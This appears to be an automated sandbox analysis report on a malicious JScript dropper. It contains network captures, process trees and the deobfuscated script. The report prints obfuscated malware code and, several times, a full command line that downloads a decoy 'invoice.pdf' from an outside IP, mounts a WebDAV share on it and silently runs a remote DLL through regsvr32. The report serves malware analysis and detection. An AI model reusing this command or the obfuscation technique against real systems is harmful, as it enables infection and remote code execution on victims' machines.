0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 03:34:19.527962923 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 03:34:19.527975082 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 03:34:19.527987003 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 03:34:19.527997971 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 03:34:19.528007984 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 11, 2025 03:34:19.528018951 CET	1236	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 11, 2025 03:34:19.528211117 CET	1000	IN	Data Raw: a1 87 7e ac 1e 3c 0f 5f c7 dc cf 7e d4 47 ed 42 06 5d e8 4e 7b a1 98 3b ed 12 e3 cf 7c b1 0d 60 a3 d6 90 4c b0 b3 16 38 30 b4 89 a1 8f 4d 0c ed 0f 0c 6d 62 e8 59 1f 43 8f 6e 8f 06 31 b4 db 94 2b 3d b4 4d a2 c1 43 fe 57 19 0b 0d 62 e8 71 17 43 2f Data Ascii: ~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8*#5L>8f\^xmI3#^{hudM/eG_\?c
Jan 11, 2025 03:34:19.528223038 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:
Jan 11, 2025 03:34:19.528233051 CET	1236	IN	Data Raw: c3 91 55 fd 7e f3 23 ab 7a 46 5b 5f 92 e4 3f 73 63 a9 39 af 53 8a e4 e8 60 a6 bc 8e 42 cf 66 86 3d 34 dc 78 5c 18 f2 1d 5d 10 ad ef b4 e6 66 9b db 53 2d 3d 94 e1 50 00 db b7 62 2e c1 8e ca 1e 18 1a c5 d0 bb 61 0c bd bc ec 0f 0c 4d 31 f4 e8 f6 f8 Data Ascii: U~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%
Jan 11, 2025 03:34:19.533031940 CET	220	IN	Data Raw: fd 82 86 a7 e5 ea 37 9b de df 2b 8b ac e5 05 0d f7 f7 ea 77 5a 4d dd d6 37 96 d1 f3 3a 0b 25 54 9f f0 fb bc 55 33 95 69 0e 0f 95 9c ed 4b a8 59 fa 9d 1b 75 0f 8f f1 95 9b ad 3f 50 b5 70 a7 5d 74 38 74 da 7f 78 01 f8 dc ad 1c 4c b0 7b 16 3a 30 d4 Data Ascii: 7+wZM7:%TU3iKYu?Pp]t8txL{:0u`hCo\AGD_\|LCf0~M0X2z,tt9\WPCZsm~245$=td84RT!S!Q]avNQ0}v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	7912	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 03:34:20.878401995 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 03:34:21.679595947 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:34:21 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	21:34:14
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\221165125265292179.js"
Imagebase:	0x7ff6c13d0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	21:34:15
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18642892721689.dll
Imagebase:	0x7ff69a490000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:34:15
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:34:15
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:34:19
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	21:34:19
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff69a490000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	21:34:19
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6f7be0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	21:34:20
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	21:34:20
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	21:34:20
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1556,i,14946020306011975093,2828125424328156023,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function mwtioqiwo() {	mwtioqiwo() ➔ undefined
1	iucwht = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var hdwxq = this[noimc + voxnjt + ncgypw + gmcnmw + wqplibwcw + jpjwqyrq + zmzkciga + gtpxp] ( this[vktnynbdh + ookufeijb + rzbps + ncgypw + azgmgzirb + noimc + gtpxp][ftbzgmt + ncgypw + wqplibwcw + voxnjt + gtpxp + wqplibwcw + vhhsjm + nepgv + mqfxbrk + wqplibwcw + rzbps + gtpxp] ( vktnynbdh + ookufeijb + rzbps + ncgypw + azgmgzirb + noimc + gtpxp + dfbuwdxh + ookufeijb + yafeb + wqplibwcw + ihmbonjre + ihmbonjre ) [mbdwjcy + wqplibwcw + vahrnbk + mbdwjcy + wqplibwcw + voxnjt + xdaudcqy] ( gegzc + izhyy + ggxqfwh + bfzvkree + lwbvulf + ftbzgmt + gycjppxr + mbdwjcy + mbdwjcy + ggxqfwh + ycyumllj + nbicyczbb + lwbvulf + gycjppxr + ookufeijb + ggxqfwh + mbdwjcy + fzlwovtwv + ftbzgmt + fyrhku + zmzkciga + gtpxp + ncgypw + fyrhku + ihmbonjre + nkzeva + htbcgp + voxnjt + zmzkciga + wqplibwcw + ihmbonjre + fzlwovtwv + jpjwqyrq + zmzkciga + gtpxp + wqplibwcw + ncgypw + zmzkciga + voxnjt + gtpxp + azgmgzirb + fyrhku + zmzkciga + voxnjt + ihmbonjre + fzlwovtwv + jpjbe + fyrhku + rzbps + voxnjt + ihmbonjre + wqplibwcw ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( lkgfjlayp = 0 ; lkgfjlayp < iucwht[ihmbonjre + wqplibwcw + zmzkciga + vahrnbk + gtpxp + yafeb] ; ++ lkgfjlayp )
4	{
5	if ( hdwxq == iucwht[lkgfjlayp] )
6	{
7	hdwxq = true;
8	break ;
9	}
10	}
11	if ( hdwxq !== true )
12	this[vktnynbdh + ookufeijb + rzbps + ncgypw + azgmgzirb + noimc + gtpxp][ucnrvqbm + hzbwhjkb + azgmgzirb + gtpxp] ( );
13	this[vktnynbdh + ookufeijb + rzbps + ncgypw + azgmgzirb + noimc + gtpxp][ftbzgmt + ncgypw + wqplibwcw + voxnjt + gtpxp + wqplibwcw + vhhsjm + nepgv + mqfxbrk + wqplibwcw + rzbps + gtpxp] ( vktnynbdh + ookufeijb + rzbps + ncgypw + azgmgzirb + noimc + gtpxp + dfbuwdxh + ookufeijb + yafeb + wqplibwcw + ihmbonjre + ihmbonjre ) [ncgypw + hzbwhjkb + zmzkciga] ( rzbps + dbpebzybw + xdaudcqy + nkzeva + qpvdiixl + rzbps + nkzeva + noimc + fyrhku + liehlgg + wqplibwcw + ncgypw + gmcnmw + yafeb + wqplibwcw + ihmbonjre + ihmbonjre + dfbuwdxh + wqplibwcw + nibkxhnv + wqplibwcw + nkzeva + sznxgd + ftbzgmt + fyrhku + dbpebzybw + dbpebzybw + voxnjt + zmzkciga + xdaudcqy + nkzeva + ynmxkggs + jpjwqyrq + zmzkciga + vlxezftcb + fyrhku + jdmhb + wqplibwcw + sznxgd + vktnynbdh + wqplibwcw + nepgv + mbdwjcy + wqplibwcw + vgchh + hzbwhjkb + wqplibwcw + gmcnmw + gtpxp + nkzeva + sznxgd + vhhsjm + hzbwhjkb + gtpxp + xoinu + azgmgzirb + ihmbonjre + wqplibwcw + nkzeva + kilphcx + gtpxp + wqplibwcw + dbpebzybw + noimc + kilphcx + fzlwovtwv + azgmgzirb + zmzkciga + vlxezftcb + fyrhku + azgmgzirb + rzbps + wqplibwcw + dfbuwdxh + noimc + xdaudcqy + ntjini + nkzeva + yafeb + gtpxp + gtpxp + noimc + zadrcmdd + qpvdiixl + qpvdiixl + lovsvjpn + hldisois + dkmwo + dfbuwdxh + lovsvjpn + sliyblqdg + dkmwo + dfbuwdxh + lovsvjpn + dfbuwdxh + ernettys + xcxhih + juaqiye + qpvdiixl + azgmgzirb + zmzkciga + vlxezftcb + fyrhku + azgmgzirb + rzbps + wqplibwcw + dfbuwdxh + noimc + yafeb + noimc + ynmxkggs + vnhkxvx + vnhkxvx + gmcnmw + gtpxp + voxnjt + ncgypw + gtpxp + nkzeva + kilphcx + gtpxp + wqplibwcw + dbpebzybw + noimc + kilphcx + fzlwovtwv + azgmgzirb + zmzkciga + vlxezftcb + fyrhku + azgmgzirb + rzbps + wqplibwcw + dfbuwdxh + noimc + xdaudcqy + ntjini + vnhkxvx + vnhkxvx + rzbps + dbpebzybw + xdaudcqy + nkzeva + qpvdiixl + rzbps + nkzeva + zmzkciga + wqplibwcw + gtpxp + nkzeva + hzbwhjkb + gmcnmw + wqplibwcw + nkzeva + fzlwovtwv + fzlwovtwv + lovsvjpn + hldisois + dkmwo + dfbuwdxh + lovsvjpn + sliyblqdg + dkmwo + dfbuwdxh + lovsvjpn + dfbuwdxh + ernettys + xcxhih + juaqiye + wznoxz + syxggy + syxggy + syxggy + syxggy + fzlwovtwv + xdaudcqy + voxnjt + vlxezftcb + liehlgg + liehlgg + liehlgg + ncgypw + fyrhku + fyrhku + gtpxp + fzlwovtwv + vnhkxvx + vnhkxvx + rzbps + dbpebzybw + xdaudcqy + nkzeva + qpvdiixl + rzbps + nkzeva + ncgypw + wqplibwcw + vahrnbk + gmcnmw + vlxezftcb + ncgypw + dkmwo + ernettys + nkzeva + qpvdiixl + gmcnmw + nkzeva + fzlwovtwv + fzlwovtwv + lovsvjpn + hldisois + dkmwo + dfbuwdxh + lovsvjpn + sliyblqdg + dkmwo + dfbuwdxh + lovsvjpn + dfbuwdxh + ernettys + xcxhih + juaqiye + wznoxz + syxggy + syxggy + syxggy + syxggy + fzlwovtwv + xdaudcqy + voxnjt + vlxezftcb + liehlgg + liehlgg + liehlgg + ncgypw + fyrhku + fyrhku + gtpxp + fzlwovtwv + lovsvjpn + syxggy + srfye + sliyblqdg + ernettys + syxggy + hldisois + ernettys + kvpuwgx + ernettys + lovsvjpn + srfye + syxggy + hldisois + dfbuwdxh + xdaudcqy + ihmbonjre + ihmbonjre, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18642892721689.dll",0,false) ➔ 0
14	}
15	noimc = "J";
16	noimc = "V";
17	noimc = "w";
18	noimc = "R";
19	noimc = "P";
20	noimc = "P";
21	noimc = "W";
22	noimc = "j";
23	noimc = "Q";
24	noimc = "N";
25	noimc = "d";
26	noimc = "N";
27	noimc = "p";
28	noimc = "c";
29	noimc = "B";
30	noimc = "I";
31	noimc = "M";
32	noimc = "M";
33	noimc = "F";
34	noimc = "Z";
35	noimc = "C";
36	noimc = "k";
37	noimc = "d";
38	noimc = "J";
39	noimc = "i";
40	noimc = "y";
41	noimc = "E";
42	noimc = "u";
43	noimc = "p";
44	qpvdiixl = "T";
45	qpvdiixl = "N";
46	qpvdiixl = "P";
47	qpvdiixl = "Y";
48	qpvdiixl = "P";
49	qpvdiixl = "a";
50	qpvdiixl = "A";
51	qpvdiixl = "w";
52	qpvdiixl = "J";
53	qpvdiixl = "V";
54	qpvdiixl = "x";
55	qpvdiixl = "F";
56	qpvdiixl = "C";
57	qpvdiixl = "e";
58	qpvdiixl = "n";
59	qpvdiixl = "C";
60	qpvdiixl = "m";
61	qpvdiixl = "r";
62	qpvdiixl = "K";
63	qpvdiixl = "T";
64	qpvdiixl = "O";
65	qpvdiixl = "I";
66	qpvdiixl = "i";
67	qpvdiixl = "C";
68	qpvdiixl = "h";
69	qpvdiixl = "h";
70	qpvdiixl = "K";
71	qpvdiixl = "p";
72	qpvdiixl = "y";
73	qpvdiixl = "K";
74	qpvdiixl = "i";
75	qpvdiixl = "V";
76	qpvdiixl = "U";
77	qpvdiixl = "C";
78	qpvdiixl = "j";
79	qpvdiixl = "p";
80	qpvdiixl = "s";
81	qpvdiixl = "j";
82	qpvdiixl = "/";
83	zadrcmdd = "P";
84	zadrcmdd = "X";
85	zadrcmdd = "Z";
86	zadrcmdd = "X";
87	zadrcmdd = "Q";
88	zadrcmdd = "V";
89	zadrcmdd = "C";
90	zadrcmdd = "j";
91	zadrcmdd = "L";
92	zadrcmdd = "P";
93	zadrcmdd = "L";
94	zadrcmdd = "p";
95	zadrcmdd = "N";
96	zadrcmdd = "R";
97	zadrcmdd = "P";
98	zadrcmdd = "B";
99	zadrcmdd = "W";
100	zadrcmdd = "h";
101	zadrcmdd = "S";
102	zadrcmdd = "J";
103	zadrcmdd = "n";
104	zadrcmdd = "b";
105	zadrcmdd = "f";
106	zadrcmdd = "c";
107	zadrcmdd = "K";
108	zadrcmdd = "S";
109	zadrcmdd = "C";
110	zadrcmdd = "K";
111	zadrcmdd = "s";
112	zadrcmdd = "K";
113	zadrcmdd = "B";
114	zadrcmdd = "E";
115	zadrcmdd = "x";
116	zadrcmdd = "R";
117	zadrcmdd = "D";
118	zadrcmdd = "W";
119	zadrcmdd = "Q";
120	zadrcmdd = ":";
121	mbdwjcy = "i";
122	mbdwjcy = "i";
123	mbdwjcy = "J";
124	mbdwjcy = "t";
125	mbdwjcy = "I";
126	mbdwjcy = "Y";
127	mbdwjcy = "B";
128	mbdwjcy = "C";
129	mbdwjcy = "C";
130	mbdwjcy = "b";
131	mbdwjcy = "e";
132	mbdwjcy = "I";
133	mbdwjcy = "M";
134	mbdwjcy = "F";
135	mbdwjcy = "h";
136	mbdwjcy = "g";
137	mbdwjcy = "d";
138	mbdwjcy = "S";
139	mbdwjcy = "S";
140	mbdwjcy = "G";
141	mbdwjcy = "o";
142	mbdwjcy = "K";
143	mbdwjcy = "I";
144	mbdwjcy = "R";
145	ftbzgmt = "I";
146	ftbzgmt = "E";
147	ftbzgmt = "q";
148	ftbzgmt = "l";
149	ftbzgmt = "M";
150	ftbzgmt = "l";
151	ftbzgmt = "t";
152	ftbzgmt = "e";
153	ftbzgmt = "B";
154	ftbzgmt = "e";
155	ftbzgmt = "J";
156	ftbzgmt = "T";
157	ftbzgmt = "Z";
158	ftbzgmt = "X";
159	ftbzgmt = "u";
160	ftbzgmt = "x";
161	ftbzgmt = "u";
162	ftbzgmt = "q";
163	ftbzgmt = "T";
164	ftbzgmt = "G";
165	ftbzgmt = "M";
166	ftbzgmt = "Y";
167	ftbzgmt = "s";
168	ftbzgmt = "w";
169	ftbzgmt = "t";
170	ftbzgmt = "e";
171	ftbzgmt = "v";
172	ftbzgmt = "q";
173	ftbzgmt = "t";
174	ftbzgmt = "W";
175	ftbzgmt = "N";
176	ftbzgmt = "C";
177	fzlwovtwv = "U";
178	fzlwovtwv = "y";
179	fzlwovtwv = "d";
180	fzlwovtwv = "a";
181	fzlwovtwv = "n";
182	fzlwovtwv = "m";
183	fzlwovtwv = "x";
184	fzlwovtwv = "e";
185	fzlwovtwv = "M";
186	fzlwovtwv = "N";
187	fzlwovtwv = "p";
188	fzlwovtwv = "M";
189	fzlwovtwv = "I";
190	fzlwovtwv = "n";
191	fzlwovtwv = "z";
192	fzlwovtwv = "z";
193	fzlwovtwv = "v";
194	fzlwovtwv = "P";
195	fzlwovtwv = "L";
196	fzlwovtwv = "o";
197	fzlwovtwv = "G";
198	fzlwovtwv = "P";
199	fzlwovtwv = "v";
200	fzlwovtwv = "N";
201	fzlwovtwv = "E";
202	fzlwovtwv = "M";
203	fzlwovtwv = "Z";
204	fzlwovtwv = "W";
205	fzlwovtwv = "E";
206	fzlwovtwv = "F";
207	fzlwovtwv = "Z";
208	fzlwovtwv = "Q";
209	fzlwovtwv = "g";
210	fzlwovtwv = "C";
211	fzlwovtwv = "W";
212	fzlwovtwv = "t";
213	fzlwovtwv = "v";
214	fzlwovtwv = "d";
215	fzlwovtwv = "q";
216	fzlwovtwv = "i";
217	fzlwovtwv = "H";
218	fzlwovtwv = "F";
219	fzlwovtwv = "\\";
220	kvpuwgx = "Y";
221	kvpuwgx = "p";
222	kvpuwgx = "j";
223	kvpuwgx = "M";
224	kvpuwgx = "p";
225	kvpuwgx = "m";
226	kvpuwgx = "R";
227	kvpuwgx = "X";
228	kvpuwgx = "h";
229	kvpuwgx = "Q";
230	kvpuwgx = "V";
231	kvpuwgx = "y";
232	kvpuwgx = "E";
233	kvpuwgx = "m";
234	kvpuwgx = "G";
235	kvpuwgx = "T";
236	kvpuwgx = "y";
237	kvpuwgx = "Z";
238	kvpuwgx = "h";
239	kvpuwgx = "F";
240	kvpuwgx = "U";
241	kvpuwgx = "n";
242	kvpuwgx = "z";
243	kvpuwgx = "N";
244	kvpuwgx = "d";
245	kvpuwgx = "7";
246	zmzkciga = "F";
247	zmzkciga = "l";
248	zmzkciga = "s";
249	zmzkciga = "f";
250	zmzkciga = "i";
251	zmzkciga = "X";
252	zmzkciga = "L";
253	zmzkciga = "L";
254	zmzkciga = "X";
255	zmzkciga = "V";
256	zmzkciga = "i";
257	zmzkciga = "z";
258	zmzkciga = "w";
259	zmzkciga = "B";
260	zmzkciga = "L";
261	zmzkciga = "e";
262	zmzkciga = "H";
263	zmzkciga = "I";
264	zmzkciga = "r";
265	zmzkciga = "U";
266	zmzkciga = "R";
267	zmzkciga = "k";
268	zmzkciga = "g";
269	zmzkciga = "f";
270	zmzkciga = "o";
271	zmzkciga = "W";
272	zmzkciga = "Z";
273	zmzkciga = "B";
274	zmzkciga = "m";
275	zmzkciga = "T";
276	zmzkciga = "o";
277	zmzkciga = "o";
278	zmzkciga = "J";
279	zmzkciga = "t";
280	zmzkciga = "s";
281	zmzkciga = "M";
282	zmzkciga = "v";
283	zmzkciga = "R";
284	zmzkciga = "A";
285	zmzkciga = "s";
286	zmzkciga = "a";
287	zmzkciga = "m";
288	zmzkciga = "n";
289	nkzeva = "f";
290	nkzeva = "G";
291	nkzeva = "S";
292	nkzeva = "a";
293	nkzeva = "t";
294	nkzeva = "v";
295	nkzeva = "R";
296	nkzeva = "R";
297	nkzeva = "x";
298	nkzeva = "N";
299	nkzeva = "E";
300	nkzeva = "e";
301	nkzeva = "R";
302	nkzeva = "A";
303	nkzeva = "t";
304	nkzeva = "s";
305	nkzeva = "d";
306	nkzeva = "h";
307	nkzeva = "K";
308	nkzeva = "n";
309	nkzeva = " ";
310	jpjwqyrq = "e";
311	jpjwqyrq = "Q";
312	jpjwqyrq = "U";
313	jpjwqyrq = "H";
314	jpjwqyrq = "X";
315	jpjwqyrq = "Q";
316	jpjwqyrq = "R";
317	jpjwqyrq = "o";
318	jpjwqyrq = "W";
319	jpjwqyrq = "M";
320	jpjwqyrq = "P";
321	jpjwqyrq = "g";
322	jpjwqyrq = "T";
323	jpjwqyrq = "p";
324	jpjwqyrq = "y";
325	jpjwqyrq = "f";
326	jpjwqyrq = "w";
327	jpjwqyrq = "v";
328	jpjwqyrq = "p";
329	jpjwqyrq = "I";
330	kilphcx = "I";
331	kilphcx = "y";
332	kilphcx = "T";
333	kilphcx = "i";
334	kilphcx = "d";
335	kilphcx = "V";
336	kilphcx = "D";
337	kilphcx = "w";
338	kilphcx = "z";
339	kilphcx = "z";
340	kilphcx = "R";
341	kilphcx = "J";
342	kilphcx = "U";
343	kilphcx = "o";
344	kilphcx = "X";
345	kilphcx = "u";
346	kilphcx = "J";
347	kilphcx = "M";
348	kilphcx = "%";
349	jpjbe = "r";
350	jpjbe = "R";
351	jpjbe = "L";
352	nibkxhnv = "M";
353	nibkxhnv = "q";
354	nibkxhnv = "Y";
355	nibkxhnv = "h";
356	nibkxhnv = "T";
357	nibkxhnv = "Z";
358	nibkxhnv = "W";
359	nibkxhnv = "G";
360	nibkxhnv = "W";
361	nibkxhnv = "z";
